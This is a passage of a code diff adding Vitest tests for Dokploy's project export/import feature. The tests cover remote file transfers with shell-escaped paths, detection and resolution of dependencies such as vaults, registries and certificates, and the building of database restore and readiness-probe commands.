await runToFile(null, "printf 'abc'", local(target));
|
||||
expect(readFileSync(target, "utf8")).toBe("abc");
|
||||
});
|
||||
|
||||
it("removes the target when the command fails in runToFile", async () => {
|
||||
const target = join(base, "partial.txt");
|
||||
await expect(
|
||||
runToFile(null, "printf 'abc'; exit 3", local(target)),
|
||||
).rejects.toThrow();
|
||||
expect(existsSync(target)).toBe(false);
|
||||
});
|
||||
|
||||
it("remove is a no-op for a missing path and exists reports false", async () => {
|
||||
const target = join(base, "missing");
|
||||
await expect(remove(local(target))).resolves.toBeUndefined();
|
||||
expect(await exists(local(target))).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("transfers between different servers go through pipeBetweenServers", () => {
|
||||
let base: string;
|
||||
|
||||
beforeEach(async () => {
|
||||
base = await mkdtemp(join(tmpdir(), "transfer-remote-fs-ssh-"));
|
||||
pipeMock.mockReset();
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
await rm(base, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
it("copyFile removes the local target when the remote side fails", async () => {
|
||||
const target = join(base, "app-one.yml");
|
||||
pipeMock.mockImplementation(async () => {
|
||||
writeFileSync(target, "partial");
|
||||
throw new Error("source exited with code 1: cat: No such file");
|
||||
});
|
||||
|
||||
await expect(
|
||||
copyFile(
|
||||
{
|
||||
serverId: "server-1",
|
||||
path: "/etc/dokploy/traefik/dynamic/app-one.yml",
|
||||
},
|
||||
local(target),
|
||||
),
|
||||
).rejects.toThrow(/exited with code 1: cat: No such file/);
|
||||
expect(existsSync(target)).toBe(false);
|
||||
expect(pipeMock.mock.calls[0]?.[0].source).toEqual({
|
||||
serverId: "server-1",
|
||||
command: "cat '/etc/dokploy/traefik/dynamic/app-one.yml'",
|
||||
});
|
||||
});
|
||||
|
||||
it("copyDir escapes the paths and the excludes on both ends", async () => {
|
||||
pipeMock.mockResolvedValue(0);
|
||||
await copyDir(
|
||||
{ serverId: "server-1", path: "/remote/dir" },
|
||||
{ serverId: "server-2", path: "/it's/local" },
|
||||
{ exclude: [".git", "it's"] },
|
||||
);
|
||||
expect(pipeMock.mock.calls[0]?.[0]).toEqual({
|
||||
source: {
|
||||
serverId: "server-1",
|
||||
command:
|
||||
"tar -czf - --exclude='.git' --exclude='it'\\''s' -C '/remote/dir' .",
|
||||
},
|
||||
target: {
|
||||
serverId: "server-2",
|
||||
command:
|
||||
"mkdir -p '/it'\\''s/local' && tar -xzf - -C '/it'\\''s/local'",
|
||||
},
|
||||
});
|
||||
});
|
||||
|
||||
it("runToFile streams a command from one server into a file on another", async () => {
|
||||
pipeMock.mockResolvedValue(0);
|
||||
await runToFile("db-server", "pg_dump x | gzip", {
|
||||
serverId: "build-server",
|
||||
path: "/etc/dokploy/project-export-import/x/dumps/pg.sql.gz",
|
||||
});
|
||||
expect(pipeMock.mock.calls[0]?.[0]).toEqual({
|
||||
source: { serverId: "db-server", command: "pg_dump x | gzip" },
|
||||
target: {
|
||||
serverId: "build-server",
|
||||
command:
|
||||
"mkdir -p '/etc/dokploy/project-export-import/x/dumps' && cat > '/etc/dokploy/project-export-import/x/dumps/pg.sql.gz'",
|
||||
},
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,362 @@
|
||||
import type {
|
||||
ExportScope,
|
||||
TransferDb,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { detectRequirements } from "@dokploy/server/services/project-export-import";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const baseScope: ExportScope = {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: true,
|
||||
composeFiles: true,
|
||||
traefikRaw: true,
|
||||
customCertificates: true,
|
||||
},
|
||||
dumps: { mode: "none" },
|
||||
includeBackupSchedules: true,
|
||||
};
|
||||
|
||||
const baseApplication = {
|
||||
applicationId: "app-1",
|
||||
name: "app-1",
|
||||
env: "",
|
||||
buildArgs: null,
|
||||
buildSecrets: null,
|
||||
previewEnv: null,
|
||||
serverId: null,
|
||||
buildServerId: null,
|
||||
githubId: null,
|
||||
gitlabId: null,
|
||||
giteaId: null,
|
||||
bitbucketId: null,
|
||||
owner: null,
|
||||
repository: null,
|
||||
registryId: null,
|
||||
buildRegistryId: null,
|
||||
rollbackRegistryId: null,
|
||||
customGitSSHKeyId: null,
|
||||
customGitSSHKey: null,
|
||||
networkIds: [],
|
||||
domains: [],
|
||||
backups: undefined,
|
||||
volumeBackups: [],
|
||||
};
|
||||
|
||||
const emptyServiceArrays = {
|
||||
compose: [],
|
||||
mysql: [],
|
||||
mariadb: [],
|
||||
mongo: [],
|
||||
redis: [],
|
||||
libsql: [],
|
||||
};
|
||||
|
||||
const buildTree = (application: Record<string, unknown>) => ({
|
||||
projectId: "project-1",
|
||||
name: "my-project",
|
||||
organizationId: "org-1",
|
||||
env: "",
|
||||
environments: [
|
||||
{
|
||||
environmentId: "env-1",
|
||||
name: "production",
|
||||
env: "",
|
||||
applications: [application],
|
||||
postgres: [],
|
||||
...emptyServiceArrays,
|
||||
},
|
||||
],
|
||||
});
|
||||
|
||||
const fakeDb = (overrides: Record<string, unknown> = {}): TransferDb =>
|
||||
({
|
||||
query: {
|
||||
vaultProvider: { findMany: async () => [] },
|
||||
destinations: { findMany: async () => [] },
|
||||
registry: { findMany: async () => [] },
|
||||
network: { findMany: async () => [] },
|
||||
certificates: { findMany: async () => [] },
|
||||
...overrides,
|
||||
},
|
||||
}) as any as TransferDb;
|
||||
|
||||
describe("detectRequirements", () => {
|
||||
it("detects a vault requirement grouping every secretKey referenced", async () => {
|
||||
const application = {
|
||||
...baseApplication,
|
||||
env: "DB_PASS=${{vault.prod.DB_PASS}}\nAPI=${{vault.prod.API}}",
|
||||
};
|
||||
const db = fakeDb({
|
||||
vaultProvider: {
|
||||
findMany: async () => [
|
||||
{
|
||||
vaultProviderId: "vault-1",
|
||||
name: "prod",
|
||||
providerType: "hashicorp",
|
||||
organizationId: "org-1",
|
||||
},
|
||||
],
|
||||
},
|
||||
});
|
||||
|
||||
const requirements = await detectRequirements(
|
||||
db,
|
||||
buildTree(application) as any,
|
||||
baseScope,
|
||||
);
|
||||
|
||||
const vaultReqs = requirements.filter((r) => r.kind === "vault");
|
||||
expect(vaultReqs).toHaveLength(1);
|
||||
expect(vaultReqs[0]).toMatchObject({
|
||||
kind: "vault",
|
||||
originalId: "vault-1",
|
||||
providerName: "prod",
|
||||
providerType: "hashicorp",
|
||||
});
|
||||
expect((vaultReqs[0] as any).secretKeys.sort()).toEqual(["API", "DB_PASS"]);
|
||||
});
|
||||
|
||||
it("merges registry + buildRegistry into one requirement with both roles", async () => {
|
||||
const application = {
|
||||
...baseApplication,
|
||||
registryId: "registry-1",
|
||||
buildRegistryId: "registry-1",
|
||||
};
|
||||
const db = fakeDb({
|
||||
registry: {
|
||||
findMany: async () => [
|
||||
{
|
||||
registryId: "registry-1",
|
||||
registryUrl: "https://registry.example.com",
|
||||
imagePrefix: "acme",
|
||||
},
|
||||
],
|
||||
},
|
||||
});
|
||||
|
||||
const requirements = await detectRequirements(
|
||||
db,
|
||||
buildTree(application) as any,
|
||||
baseScope,
|
||||
);
|
||||
|
||||
const registryReqs = requirements.filter((r) => r.kind === "registry");
|
||||
expect(registryReqs).toHaveLength(1);
|
||||
expect((registryReqs[0] as any).role.sort()).toEqual([
|
||||
"buildRegistry",
|
||||
"registry",
|
||||
]);
|
||||
});
|
||||
|
||||
it("emits a single server requirement with originalId null for services with no serverId", async () => {
|
||||
const application = { ...baseApplication, serverId: null };
|
||||
const requirements = await detectRequirements(
|
||||
fakeDb(),
|
||||
buildTree(application) as any,
|
||||
baseScope,
|
||||
);
|
||||
|
||||
const serverReqs = requirements.filter((r) => r.kind === "server");
|
||||
expect(serverReqs).toHaveLength(1);
|
||||
expect(serverReqs[0]?.originalId).toBeNull();
|
||||
expect(serverReqs[0]?.usedBy).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("detects a gitProvider requirement with owner/repo", async () => {
|
||||
const application = {
|
||||
...baseApplication,
|
||||
githubId: "gh-1",
|
||||
owner: "acme",
|
||||
repository: "app",
|
||||
};
|
||||
const requirements = await detectRequirements(
|
||||
fakeDb(),
|
||||
buildTree(application) as any,
|
||||
baseScope,
|
||||
);
|
||||
|
||||
const gitReqs = requirements.filter((r) => r.kind === "gitProvider");
|
||||
expect(gitReqs).toHaveLength(1);
|
||||
expect(gitReqs[0]).toMatchObject({
|
||||
providerType: "github",
|
||||
originalId: "gh-1",
|
||||
});
|
||||
expect((gitReqs[0] as any).repositories).toEqual([
|
||||
{ owner: "acme", repo: "app" },
|
||||
]);
|
||||
});
|
||||
|
||||
it("detects a destination requirement from a backup FK", async () => {
|
||||
const application = {
|
||||
...baseApplication,
|
||||
volumeBackups: [{ destinationId: "dest-1" }],
|
||||
};
|
||||
const db = fakeDb({
|
||||
destinations: {
|
||||
findMany: async () => [
|
||||
{
|
||||
destinationId: "dest-1",
|
||||
bucket: "my-bucket",
|
||||
endpoint: "s3.example.com",
|
||||
region: "us-east-1",
|
||||
},
|
||||
],
|
||||
},
|
||||
});
|
||||
|
||||
const requirements = await detectRequirements(
|
||||
db,
|
||||
buildTree(application) as any,
|
||||
baseScope,
|
||||
);
|
||||
|
||||
const destReqs = requirements.filter((r) => r.kind === "destination");
|
||||
expect(destReqs).toHaveLength(1);
|
||||
expect(destReqs[0]).toMatchObject({
|
||||
originalId: "dest-1",
|
||||
bucket: "my-bucket",
|
||||
endpoint: "s3.example.com",
|
||||
region: "us-east-1",
|
||||
});
|
||||
});
|
||||
|
||||
it("resolves network names for referenced networkIds", async () => {
|
||||
const application = { ...baseApplication, networkIds: ["net-1"] };
|
||||
const db = fakeDb({
|
||||
network: {
|
||||
findMany: async () => [{ networkId: "net-1", name: "shared-net" }],
|
||||
},
|
||||
});
|
||||
|
||||
const requirements = await detectRequirements(
|
||||
db,
|
||||
buildTree(application) as any,
|
||||
baseScope,
|
||||
);
|
||||
|
||||
const networkReqs = requirements.filter((r) => r.kind === "network");
|
||||
expect(networkReqs).toHaveLength(1);
|
||||
expect(networkReqs[0]).toMatchObject({
|
||||
originalId: "net-1",
|
||||
name: "shared-net",
|
||||
});
|
||||
});
|
||||
|
||||
it("detects an uploaded certificate by the https domains it covers on the same server", async () => {
|
||||
const application = {
|
||||
...baseApplication,
|
||||
serverId: "server-1",
|
||||
domains: [
|
||||
{
|
||||
domainId: "dom-1",
|
||||
host: "app.example.com",
|
||||
https: true,
|
||||
certificateType: "none",
|
||||
},
|
||||
{
|
||||
domainId: "dom-2",
|
||||
host: "other.example.com",
|
||||
https: true,
|
||||
certificateType: "none",
|
||||
},
|
||||
],
|
||||
};
|
||||
const certificate = {
|
||||
certificateId: "cert-1",
|
||||
certificateData:
|
||||
"-----BEGIN CERTIFICATE-----\n" +
|
||||
"MIICPjCCAeOgAwIBAgIJAOEJ+5C9HjNZMAoGCCqGSM49BAMCMBoxGDAWBgNVBAMM\n" +
|
||||
"D2FwcC5leGFtcGxlLmNvbTAeFw0yNjEwMTUyMTQ0NDlaFw0zNjEwMTIyMTQ0NDla\n" +
|
||||
"MBoxGDAWBgNVBAMMD2FwcC5leGFtcGxlLmNvbTCCAUswggEDBgcqhkjOPQIBMIH3\n" +
|
||||
"AgEBMCwGByqGSM49AQECIQD/////AAAAAQAAAAAAAAAAAAAAAP//////////////\n" +
|
||||
"/zBbBCD/////AAAAAQAAAAAAAAAAAAAAAP///////////////AQgWsY12Ko6k+ez\n" +
|
||||
"671VdpiGvGUdBrDMU7D2O848PifSYEsDFQDEnTYIhucEk2pmeOETnSa3gZ9+kARB\n" +
|
||||
"BGsX0fLhLEJH+Lzm5WOkQPJ3A32BLeszoPShOUXYmMKWT+NC4v4af5uO5+tKfA+e\n" +
|
||||
"FivOM1drMV7Oy7ZAaDe/UfUCIQD/////AAAAAP//////////vOb6racXnoTzucrC\n" +
|
||||
"/GMlUQIBAQNCAASL1XU5x61CV4NiEe+/UmBo6LjNyEpG597XYQ1EPv1QhtboQ1Uo\n" +
|
||||
"no7Yf/H6T/8elaaCFtgl/sZqxHP4HDLkIFYtox4wHDAaBgNVHREEEzARgg9hcHAu\n" +
|
||||
"ZXhhbXBsZS5jb20wCgYIKoZIzj0EAwIDSQAwRgIhANb3ATUO9PvG5Ta/5M4ggr11\n" +
|
||||
"Rb3EoP/+A1AjbYmYEszLAiEA4nxjPPJXLb1zXMeiqz6xyI+8ETyjucTZTkfj4hyV\n" +
|
||||
"6DM=\n" +
|
||||
"-----END CERTIFICATE-----\n",
|
||||
serverId: "server-1",
|
||||
};
|
||||
const db = fakeDb({
|
||||
certificates: {
|
||||
findMany: async () => [
|
||||
certificate,
|
||||
{
|
||||
...certificate,
|
||||
certificateId: "cert-other-server",
|
||||
serverId: null,
|
||||
},
|
||||
],
|
||||
},
|
||||
});
|
||||
|
||||
const requirements = await detectRequirements(
|
||||
db,
|
||||
buildTree(application) as any,
|
||||
baseScope,
|
||||
);
|
||||
|
||||
const certReqs = requirements.filter((r) => r.kind === "certificate");
|
||||
expect(certReqs).toHaveLength(1);
|
||||
expect(certReqs[0]?.originalId).toBe("cert-1");
|
||||
expect(certReqs[0]?.usedBy).toHaveLength(1);
|
||||
expect((certReqs[0] as any).fingerprint).toMatch(/^[a-f0-9]{64}$/);
|
||||
expect((certReqs[0] as any).serverId).toBe("server-1");
|
||||
});
|
||||
|
||||
it("dedupes requirements used by multiple services into one entry with combined usedBy", async () => {
|
||||
const application1 = {
|
||||
...baseApplication,
|
||||
applicationId: "app-1",
|
||||
serverId: "server-1",
|
||||
};
|
||||
const application2 = {
|
||||
...baseApplication,
|
||||
applicationId: "app-2",
|
||||
serverId: "server-1",
|
||||
};
|
||||
const tree = buildTree(application1) as any;
|
||||
tree.environments[0].applications.push(application2);
|
||||
|
||||
const requirements = await detectRequirements(fakeDb(), tree, baseScope);
|
||||
const serverReqs = requirements.filter((r) => r.kind === "server");
|
||||
expect(serverReqs).toHaveLength(1);
|
||||
expect(serverReqs[0]?.usedBy).toHaveLength(2);
|
||||
});
|
||||
|
||||
it("only scans services actually within scope.serviceIds", async () => {
|
||||
const included = {
|
||||
...baseApplication,
|
||||
applicationId: "app-included",
|
||||
githubId: "gh-1",
|
||||
owner: "acme",
|
||||
repository: "included-repo",
|
||||
};
|
||||
const excluded = {
|
||||
...baseApplication,
|
||||
applicationId: "app-excluded",
|
||||
githubId: "gh-1",
|
||||
owner: "acme",
|
||||
repository: "excluded-repo",
|
||||
};
|
||||
const tree = buildTree(included) as any;
|
||||
tree.environments[0].applications.push(excluded);
|
||||
|
||||
const requirements = await detectRequirements(fakeDb(), tree, {
|
||||
...baseScope,
|
||||
serviceIds: ["app-included"],
|
||||
});
|
||||
|
||||
const gitReqs = requirements.filter((r) => r.kind === "gitProvider");
|
||||
expect(gitReqs).toHaveLength(1);
|
||||
expect((gitReqs[0] as any).repositories).toEqual([
|
||||
{ owner: "acme", repo: "included-repo" },
|
||||
]);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,285 @@
|
||||
import { createHash } from "node:crypto";
|
||||
import type {
|
||||
Requirement,
|
||||
Snapshot,
|
||||
TransferDb,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import {
|
||||
LOCAL_SERVER_CANDIDATE_ID,
|
||||
proposeResolutions,
|
||||
requirementKey,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const CERT_FINGERPRINT = createHash("sha256")
|
||||
.update("cert-data-1")
|
||||
.digest("hex");
|
||||
|
||||
const vaultRequirement: Requirement = {
|
||||
kind: "vault",
|
||||
originalId: "vault-src",
|
||||
configIncluded: false,
|
||||
usedBy: [],
|
||||
providerName: "prod",
|
||||
providerType: "hashicorp",
|
||||
secretKeys: [],
|
||||
};
|
||||
const gitProviderRequirement: Requirement = {
|
||||
kind: "gitProvider",
|
||||
originalId: "gh-src",
|
||||
configIncluded: false,
|
||||
usedBy: [],
|
||||
providerType: "github",
|
||||
repositories: [],
|
||||
};
|
||||
const destinationRequirement: Requirement = {
|
||||
kind: "destination",
|
||||
originalId: "dest-src",
|
||||
configIncluded: true,
|
||||
usedBy: [],
|
||||
bucket: "my-bucket",
|
||||
endpoint: "https://s3.example.com",
|
||||
region: "us-east-1",
|
||||
};
|
||||
const registryRequirement: Requirement = {
|
||||
kind: "registry",
|
||||
originalId: "reg-src",
|
||||
configIncluded: true,
|
||||
usedBy: [],
|
||||
registryUrl: "https://registry.example.com",
|
||||
imagePrefix: "acme",
|
||||
role: ["registry"],
|
||||
};
|
||||
const sshKeyRequirement: Requirement = {
|
||||
kind: "sshKey",
|
||||
originalId: "key-src",
|
||||
configIncluded: true,
|
||||
usedBy: [],
|
||||
publicKey: "ssh-ed25519 AAAAtest",
|
||||
};
|
||||
const networkRequirement: Requirement = {
|
||||
kind: "network",
|
||||
originalId: "net-src",
|
||||
configIncluded: false,
|
||||
usedBy: [],
|
||||
name: "my-network",
|
||||
};
|
||||
const certificateRequirement: Requirement = {
|
||||
kind: "certificate",
|
||||
originalId: "cert-src",
|
||||
configIncluded: false,
|
||||
usedBy: [],
|
||||
fingerprint: CERT_FINGERPRINT,
|
||||
serverId: null,
|
||||
};
|
||||
const serverRequirement: Requirement = {
|
||||
kind: "server",
|
||||
originalId: "server-src",
|
||||
configIncluded: false,
|
||||
usedBy: [],
|
||||
};
|
||||
|
||||
const requirements: Requirement[] = [
|
||||
vaultRequirement,
|
||||
gitProviderRequirement,
|
||||
destinationRequirement,
|
||||
registryRequirement,
|
||||
sshKeyRequirement,
|
||||
networkRequirement,
|
||||
certificateRequirement,
|
||||
serverRequirement,
|
||||
];
|
||||
|
||||
const snapshot: Snapshot = {
|
||||
manifest: {
|
||||
format: "dokploy-project-export",
|
||||
formatVersion: 1,
|
||||
exportedAt: "2024-01-01T00:00:00.000Z",
|
||||
exportedBy: { userId: "user-1", email: "a@b.com" },
|
||||
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
|
||||
scope: {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: true,
|
||||
composeFiles: true,
|
||||
traefikRaw: true,
|
||||
customCertificates: true,
|
||||
},
|
||||
dumps: { mode: "none" },
|
||||
includeBackupSchedules: true,
|
||||
},
|
||||
crypto: {
|
||||
salt: "c2FsdA==",
|
||||
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
|
||||
keyCheck: "{}",
|
||||
},
|
||||
counts: {},
|
||||
},
|
||||
resources: { project: {}, environments: [], services: [], shared: {} },
|
||||
requirements,
|
||||
warnings: [],
|
||||
dumps: [],
|
||||
};
|
||||
|
||||
const fakeDb = (): TransferDb =>
|
||||
({
|
||||
query: {
|
||||
vaultProvider: {
|
||||
findMany: async () => [
|
||||
{
|
||||
vaultProviderId: "vault-dest-1",
|
||||
name: "prod",
|
||||
providerType: "hashicorp",
|
||||
organizationId: "org-dest",
|
||||
},
|
||||
],
|
||||
},
|
||||
gitProvider: {
|
||||
findMany: async () => [
|
||||
{
|
||||
gitProviderId: "gh-dest-1",
|
||||
name: "Acme GitHub",
|
||||
providerType: "github",
|
||||
organizationId: "org-dest",
|
||||
},
|
||||
],
|
||||
},
|
||||
destinations: { findMany: async () => [] },
|
||||
registry: {
|
||||
findMany: async () => [
|
||||
{
|
||||
registryId: "reg-dest-1",
|
||||
registryName: "Acme Registry",
|
||||
registryUrl: "https://other.example.com",
|
||||
imagePrefix: "other",
|
||||
organizationId: "org-dest",
|
||||
},
|
||||
],
|
||||
},
|
||||
sshKeys: {
|
||||
findMany: async () => [
|
||||
{
|
||||
sshKeyId: "key-dest-1",
|
||||
name: "deploy key",
|
||||
publicKey: "ssh-ed25519 AAAAtest",
|
||||
organizationId: "org-dest",
|
||||
},
|
||||
],
|
||||
},
|
||||
network: {
|
||||
findMany: async () => [
|
||||
{
|
||||
networkId: "net-dest-1",
|
||||
name: "other-network",
|
||||
organizationId: "org-dest",
|
||||
},
|
||||
],
|
||||
},
|
||||
certificates: { findMany: async () => [] },
|
||||
server: {
|
||||
findMany: async () => [
|
||||
{
|
||||
serverId: "server-dest-1",
|
||||
name: "prod-server",
|
||||
organizationId: "org-dest",
|
||||
},
|
||||
],
|
||||
},
|
||||
},
|
||||
}) as any as TransferDb;
|
||||
|
||||
describe("proposeResolutions", () => {
|
||||
it("resolves vault by name + providerType match", async () => {
|
||||
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
|
||||
expect(result[requirementKey(vaultRequirement)]).toEqual({
|
||||
status: "resolved",
|
||||
targetId: "vault-dest-1",
|
||||
});
|
||||
});
|
||||
|
||||
it("never auto-resolves gitProvider, always mappable/missing by type", async () => {
|
||||
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
|
||||
expect(result[requirementKey(gitProviderRequirement)]).toEqual({
|
||||
status: "mappable",
|
||||
candidates: [{ id: "gh-dest-1", name: "Acme GitHub" }],
|
||||
});
|
||||
});
|
||||
|
||||
it("proposes createable for destination when configIncluded and no match", async () => {
|
||||
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
|
||||
expect(result[requirementKey(destinationRequirement)]).toEqual({
|
||||
status: "createable",
|
||||
candidates: [],
|
||||
});
|
||||
});
|
||||
|
||||
it("proposes createable for registry with existing-org candidates attached when no exact match", async () => {
|
||||
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
|
||||
expect(result[requirementKey(registryRequirement)]).toEqual({
|
||||
status: "createable",
|
||||
candidates: [{ id: "reg-dest-1", name: "Acme Registry" }],
|
||||
});
|
||||
});
|
||||
|
||||
it("resolves sshKey by exact publicKey match", async () => {
|
||||
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
|
||||
expect(result[requirementKey(sshKeyRequirement)]).toEqual({
|
||||
status: "resolved",
|
||||
targetId: "key-dest-1",
|
||||
});
|
||||
});
|
||||
|
||||
it("proposes mappable for network when configIncluded is false and no exact match but candidates exist", async () => {
|
||||
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
|
||||
expect(result[requirementKey(networkRequirement)]).toEqual({
|
||||
status: "mappable",
|
||||
candidates: [{ id: "net-dest-1", name: "other-network" }],
|
||||
});
|
||||
});
|
||||
|
||||
it("resolves certificate by recomputed fingerprint match", async () => {
|
||||
const withMatchingCert: TransferDb = {
|
||||
query: {
|
||||
...(fakeDb() as any).query,
|
||||
certificates: {
|
||||
findMany: async () => [
|
||||
{
|
||||
certificateId: "cert-dest-1",
|
||||
name: "prod cert",
|
||||
certificateData: "cert-data-1",
|
||||
organizationId: "org-dest",
|
||||
},
|
||||
],
|
||||
},
|
||||
},
|
||||
} as any;
|
||||
const result = await proposeResolutions(
|
||||
withMatchingCert,
|
||||
snapshot,
|
||||
"org-dest",
|
||||
);
|
||||
expect(result[requirementKey(certificateRequirement)]).toEqual({
|
||||
status: "resolved",
|
||||
targetId: "cert-dest-1",
|
||||
});
|
||||
});
|
||||
|
||||
it("proposes missing for certificate when no fingerprint match and configIncluded is false", async () => {
|
||||
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
|
||||
expect(result[requirementKey(certificateRequirement)]).toEqual({
|
||||
status: "missing",
|
||||
});
|
||||
});
|
||||
|
||||
it("is always mappable for server, offering the local-server sentinel alongside org servers", async () => {
|
||||
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
|
||||
expect(result[requirementKey(serverRequirement)]).toEqual({
|
||||
status: "mappable",
|
||||
candidates: [
|
||||
{ id: LOCAL_SERVER_CANDIDATE_ID, name: "Local server" },
|
||||
{ id: "server-dest-1", name: "prod-server" },
|
||||
],
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,368 @@
|
||||
import type {
|
||||
Snapshot,
|
||||
TransferDb,
|
||||
TransferResult,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
|
||||
const { failRestoreBox } = vi.hoisted(() => ({
|
||||
failRestoreBox: { value: false },
|
||||
}));
|
||||
|
||||
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => {
|
||||
const actual =
|
||||
await importOriginal<
|
||||
typeof import("@dokploy/server/utils/process/execAsync")
|
||||
>();
|
||||
return {
|
||||
...actual,
|
||||
execAsync: vi.fn(async (command: string) => {
|
||||
if (command.includes("pg_restore") && failRestoreBox.value) {
|
||||
throw new Error("restore failed");
|
||||
}
|
||||
return { stdout: "", stderr: "" };
|
||||
}),
|
||||
execAsyncRemote: vi.fn(async () => ({ stdout: "", stderr: "" })),
|
||||
};
|
||||
});
|
||||
|
||||
vi.mock(
|
||||
"@dokploy/server/services/project-export-import/remote-fs",
|
||||
async (importOriginal) => {
|
||||
const actual =
|
||||
await importOriginal<
|
||||
typeof import("@dokploy/server/services/project-export-import/remote-fs")
|
||||
>();
|
||||
return {
|
||||
...actual,
|
||||
copyFile: vi.fn(async () => {}),
|
||||
remove: vi.fn(async () => {}),
|
||||
};
|
||||
},
|
||||
);
|
||||
|
||||
const {
|
||||
restoreDumps,
|
||||
buildRestoreCommand,
|
||||
buildWaitReadyScript,
|
||||
buildReadyProbe,
|
||||
waitUntilReady,
|
||||
} = await import("@dokploy/server/services/project-export-import");
|
||||
const { remove, copyFile } = await import(
|
||||
"@dokploy/server/services/project-export-import/remote-fs"
|
||||
);
|
||||
|
||||
describe("buildRestoreCommand", () => {
|
||||
it("pipes decompressed bytes into the restore command for postgres", () => {
|
||||
const command = buildRestoreCommand(
|
||||
"postgres",
|
||||
{
|
||||
appName: "my-db-abc123",
|
||||
databaseName: "mydb",
|
||||
databaseUser: "dokploy",
|
||||
},
|
||||
"/tmp/dokploy-import-restore-pg-1.sql.gz",
|
||||
);
|
||||
expect(command).toContain(
|
||||
"gunzip -c '/tmp/dokploy-import-restore-pg-1.sql.gz'",
|
||||
);
|
||||
expect(command).toContain("pg_restore");
|
||||
expect(command).toContain("my-db-abc123");
|
||||
});
|
||||
|
||||
it("uses the mysql root password, not databasePassword, for the restore command", () => {
|
||||
const command = buildRestoreCommand(
|
||||
"mysql",
|
||||
{
|
||||
appName: "my-mysql-abc123",
|
||||
databaseName: "mydb",
|
||||
databasePassword: "not-the-root-password",
|
||||
databaseRootPassword: "the-real-root-password",
|
||||
},
|
||||
"/tmp/dokploy-import-restore-mysql-1.sql.gz",
|
||||
);
|
||||
expect(command).toContain("the-real-root-password");
|
||||
expect(command).not.toContain("not-the-root-password");
|
||||
});
|
||||
|
||||
it("strips USE/CREATE DATABASE statements for mariadb (multi-db dump safety)", () => {
|
||||
const command = buildRestoreCommand(
|
||||
"mariadb",
|
||||
{
|
||||
appName: "my-mariadb-abc123",
|
||||
databaseName: "mydb",
|
||||
databaseUser: "dokploy",
|
||||
databasePassword: "pass",
|
||||
},
|
||||
"/tmp/dokploy-import-restore-mariadb-1.sql.gz",
|
||||
);
|
||||
expect(command).toContain("grep -viE");
|
||||
});
|
||||
|
||||
it("restores the whole mongo archive through stdin, skipping admin/config, with --drop", () => {
|
||||
const command = buildRestoreCommand(
|
||||
"mongo",
|
||||
{
|
||||
appName: "my-mongo-abc123",
|
||||
databaseUser: "dokploy",
|
||||
databasePassword: "pass",
|
||||
},
|
||||
"/tmp/dokploy-import-restore-mongo-1.archive.gz",
|
||||
);
|
||||
expect(command).toContain(
|
||||
'mongorestore -u "$DB_USER" -p "$DB_PASS" --authenticationDatabase admin --nsExclude "admin.*" --nsExclude "config.*" --archive --gzip --drop',
|
||||
);
|
||||
expect(command).toContain(
|
||||
"< '/tmp/dokploy-import-restore-mongo-1.archive.gz'",
|
||||
);
|
||||
expect(command).not.toContain("--db");
|
||||
});
|
||||
});
|
||||
|
||||
describe("buildRestoreCommand for libsql", () => {
|
||||
it("replaces sqld's data directory from the tarball and restarts the service", () => {
|
||||
const command = buildRestoreCommand(
|
||||
"libsql",
|
||||
{ appName: "my-libsql-abc123" },
|
||||
"/tmp/dokploy-import-restore-l.tar.gz",
|
||||
);
|
||||
expect(command).toContain(
|
||||
"rm -rf /var/lib/sqld/iku.db && tar xzf - -C /var/lib/sqld",
|
||||
);
|
||||
expect(command).toContain("< '/tmp/dokploy-import-restore-l.tar.gz'");
|
||||
expect(command).toContain(
|
||||
"docker service update --force 'my-libsql-abc123'",
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("buildReadyProbe", () => {
|
||||
it("runs a credentialed query rather than a liveness ping", () => {
|
||||
expect(
|
||||
buildReadyProbe("postgres", { databaseUser: "u", databaseName: "d" }),
|
||||
).toBe('psql -U u -d d -tAc "SELECT 1"');
|
||||
expect(
|
||||
buildReadyProbe("mysql", { databaseRootPassword: "r00t" }),
|
||||
).toContain("mysql -uroot --password=r00t");
|
||||
expect(
|
||||
buildReadyProbe("mariadb", { databaseUser: "u", databasePassword: "p" }),
|
||||
).toContain("mariadb -uu --password=p");
|
||||
expect(
|
||||
buildReadyProbe("mongo", {
|
||||
databaseUser: "u",
|
||||
databasePassword: "p",
|
||||
databaseName: "d",
|
||||
}),
|
||||
).toContain(
|
||||
'then mongosh --quiet -u u -p p --authenticationDatabase admin --eval "db.adminCommand({ping: 1}).ok"; else mongo ',
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("waitUntilReady", () => {
|
||||
it("needs consecutive successes so a first-init throwaway server doesn't count", async () => {
|
||||
const { execAsync } = await import(
|
||||
"@dokploy/server/utils/process/execAsync"
|
||||
);
|
||||
const previous = (execAsync as any).getMockImplementation();
|
||||
const outcomes = [true, true, false, true, true, true];
|
||||
let calls = 0;
|
||||
(execAsync as any).mockImplementation(async (command: string) => {
|
||||
